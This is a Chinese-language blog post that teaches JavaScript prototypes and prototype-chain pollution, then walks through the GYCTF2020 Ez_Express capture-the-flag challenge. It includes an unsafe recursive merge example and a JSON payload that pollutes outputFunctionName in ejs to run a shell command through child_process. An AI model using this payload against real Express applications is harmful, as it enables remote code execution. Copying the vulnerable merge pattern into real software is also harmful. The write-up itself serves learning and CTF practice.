通过两道CTF题学习原型链污染

通过两道CTF题学习原型链污染

摘要:粗浅地总结下原型链污染这门攻击技术

0x01写在前面

之前开了个两周学完JS的博客,学到昨天终于学到了原型链部分。之前刷题的时候碰到了原型链污染的题目,当时感觉不是很理解,经过这阵子对js的学习感觉能够理解了,所以回去又将题目再看了遍。在这就特意开一篇博客来粗浅地总结下原型链污染这门攻击技术。

0x02预备知识

JS中的原型以及__proto__和prototype的区别与联系

JavaScript是一门很有意思的语言,在这门语言里,万物都可看做对象。我们知道,在面向对象的语言里面,存在着一种叫做“继承”的东西。比方说在Java中,通过extends关键字让一个类继承另一个类,格式形如:

1
2
public class A extends B{
}

那么继承之后呢,B成为A的父类,且A可以继承得到B中的所有属性以及方法(这里不够严谨,比方说父类的private成员变量无法继承)。同样,JavaScript中也有类似的概念。但从前JavaScript的并不存在类的概念——事实上新出来的class也不过是一种语法糖,同java等面向对象的语言中的类有本质上的区别。那么同java等面向对象等语言所不同的地方在于,我们在关注继承的时候,更应该关注对象constructor也就是构造函数,因为在JavaScript中我们是通过构造函数去生成一个实例化的对象,这个构造函数就行相当于类了。
我们开头说了,JavaScript中万物皆对象,同时我们需要知道的是每个对象都有一个proto属性,这个属性指向的是当前对象的原型对象;而函数作为特殊的对象,它有一个特殊的prototype属性,这个属性指向的是以当前函数作为构造函数构造的对象的原型对象。很绕是吧,我们下面慢慢理解。
首先我们来看一下proto这个属性
书写如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
let qmm = [1,2,3,4];
let ein = new Object();
ein.name = "hn13";
let obj = {
name: "hn13",
age: 13,
show: function(){
console.log(this.name);
}
};
console.log(obj);
console.log(ein);
console.log(qmm);

使用chrome浏览器控制台查看显示:

注意到数组、对象当中都存在一个__proto__属性。我们看到,我们new出来的或者我们通过字面量形式整出来的对象他的__proto__属性为Object,而数组的为Array(0),这就是我们前面所提的原型对象。很好理解对象的原型对象为Object数组的原型为Array(0)。
好,下面我们来看一下prototype:
书写以下代码:

1
2
3
4
5
6
7
function GirlFriend(){
this.name = "qmm";
}
let gf = new GirlFriend();
console.log(gf);
console.log(gf.__proto__);
console.log(GirlFriend.prototype);

这边我们创造了一个GirlFriend构造函数,并通过该构造函数实例化了一个对象并在第一行打印了该对象,第二行打印该对象的原型,在第三行打印了构造函数的prototype。

发现了吗,gf.__proto__和GirlFriend.prototype是相等的,不相信的可以用instanceof验证下。回到我一开始说的定义,prototype指向的是以当前函数作为构造函数构造的对象的原型对象。这就很好理解了对吧,同时我们也关注到gf的打印,确实在构造函数中才存在着prototype。
我希望通过这一小节,我把原型这块的概念讲清楚了。

原型链与原型链污染

那么现在我们来看看原型链的概念。回到我们的第一个例子,我们展开数组的__proto__如下:

注意都__proto__展开后里面还有一层__proto__,第一个是Array,下一个是Object。这就是我们的原型链,我们建造的数组qmm的原型是Array,而Array的原型又是Object,这样一直往上形成了一条“原型链”。那么Object往上呢?我们来看看,在代码后面追加一条:

1
console.log(Object.prototype.__proto__);


发现是null那么,Object就是原型链的头了,所以js中万物皆对象也好理解了。
原型链的存在提供了这样一种机制,一个对象可以调用原型链以上的他的父辈的所有的方法与属性,这就很有意思了,我们来试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
let qmm = [1,2,3,4];
let ein = new Object();
ein.name = "hn13";
let obj = {
name: "hn13",
age: 13,
show: function(){
console.log(this.name);
}
};
function GirlFriend(){
this.name = "qmm";
}
let gf = new GirlFriend();
obj.__proto__.nnmp = "lalala";
console.log(obj);
console.log(ein);
console.log(qmm);
console.log(gf);
console.log(GirlFriend);
console.log(gf.__proto__);
console.log(GirlFriend.prototype);

我在中间加了这样一条语句

1
obj.__proto__.nnmp = "lalala";

根据上面所讲的obj.__proto__为Object那么我们相当于在Object处加了一个名为nnmp的属性。会发生什么呢?

发现了吗,只要原型为Object的都拥有这个属性,如果我们尝试调用我们发现也是可行的,我们传入了nnmp这个无意义的属性,从而对原型链产生了“污染”。那进一步思考,如果我们传入一个函数,不就可以进行任意代码执行了吗?

原型链污染攻击

那么我们应该如何利用呢?我才疏学浅,还是个小白,目前接触到的利用方式主要有两种。一种是源码中出现形如

1
let vul[a][b] = obj;

的形式,这个时候,a、b、obj三个参数都要可控,才可以为原型中注入我们想要执行的命令,上面我们用的就是这种方式。
一种是通过merge函数或者其他的类似的可以操控键名的函数。merge操作是最常见可能控制键名的操作,也最能被原型链攻击。我们来看一个引用自Node.js 常见漏洞学习与总结这篇文章的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

执行结果如下

我们发现,object3也存在了一个b属性。这个原理和上面讲的别无二致。这边需要注意的一个点是JSON.parese这个点,之所以要有这个操作是为了让merge在整合的时候把__proto__作为一个键整合,这就是js机制的问题了。

0x03实例

GYCTF2020 Ez_Express

不墨迹,直接看存在原型链污染的点。

注意到clone这个函数,他讲我们传入的data给整合到req这个对象中来,那req中是否存在一个“属性”能让我们利用呢?

注意到/路由中的outputFunctionName为undefine,那这个属性又是什么来头呢?事实上,根据题目的提示,这是一个express框架下存在的一个rce漏洞利用点。具体见这篇文章
Express+lodash+ejs: 从原型链污染到RCE
也就是说,只要我们对这个outputFunctionName赋上一个我们想要执行恶意函数,就可以执行我们想要执行的命令了。ok根据我们的分析,书写payload

1
{"lua":"hn13","__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}

构造请求包发送得到flag。

还有一题就是P牛在18年Code-Breaking出的一道题。本人没时间复现了,具体看p牛的文章和其他的参考文章吧。
深入理解 JavaScript Prototype 污染攻击
Code Breaking 挑战赛 Writeup

0x04写在后面

JS这个特性确实有意思,感觉理解起来也还算好理解。其实看懂确实很容易,但真的要去挖掘这类似的漏洞的话,就得有一定的功底了——代码审计啊、对语言特性的理解啊等等,唉,自己还是太菜了。还是好好加油吧。文章写得不是很好,希望路过的师傅看到有不足之处请指正!


评论